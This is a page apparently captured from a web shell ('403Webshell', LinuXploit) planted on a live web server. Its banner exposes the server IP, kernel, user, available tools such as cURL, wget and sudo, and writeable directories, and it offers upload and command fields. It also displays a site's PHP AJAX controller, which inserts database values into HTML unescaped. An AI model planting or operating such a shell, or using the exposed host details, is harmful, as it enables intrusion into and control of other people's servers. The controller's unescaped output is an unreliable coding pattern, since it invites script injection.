403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/dumpchup.ca/behaviour-taco-bell/display/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/dumpchup.ca/behaviour-taco-bell/display/controller/c-ajax.php
<?php

if ( $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command']) ) {

	if (in_array($_POST['command'], $cfg['validAjaxCommands'])) {
		$command = $_POST['command'];
	} else {
		$output = array('result' => 'error', 'message' => 'Invalid Command');
        exit (json_encode($output));
	}

	switch ($command) {
		
		case 'get_next_note' :
            
            try {

                $sql = "SELECT participants.id as p_id, notes.id as id, signature, reason, background, approved, display_time 
                        FROM `participants` LEFT JOIN notes ON participants.note_id = notes.id 
                        WHERE approved IS NOT NULL AND denied IS NULL ORDER BY display_time, datetime ASC LIMIT 1;";				
                $get_participant = $db->prepare($sql);
                $get_participant->execute();

                $participant = $get_participant->fetch(PDO::FETCH_ASSOC);
                
                if (empty($participant)) {
                    $output = array('result' => 'empty');
                    exit (json_encode($output));
                }
                
                $rotate = rand(10, -10);
                $margin = rand(15, -15);
                
                $html = '<div class="note-preview n'.$participant['id'].'" style="background-color: '.$participant['background'].'; margin-top: '.$margin.'vh; transform: rotate('.$rotate.'deg);">

                            <p>'.$participant['reason'].'</p>
                            <div class="sig"><img src="'.$participant['signature'].'" /></div>

                        </div>';
                
                $sql = "UPDATE participants SET display_time = :time WHERE id = :id;";				
                $update_participant = $db->prepare($sql);
                $update_participant->execute(array("id"=>$participant['p_id'], "time" => time()));
                
            } catch (exception $e) {
                if ($cfg['stage'] == 'development')
                    exit($e->getMessage());
            }
            
			$output = array('result' => 'success', 'participant' => $participant, 'html' => $html);
            exit (json_encode($output));
                
		break;
		
		default :
            
            $output = array('result' => 'error', 'message' => 'Command not found');
            exit (json_encode($output));
		
		break;
	
	}

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit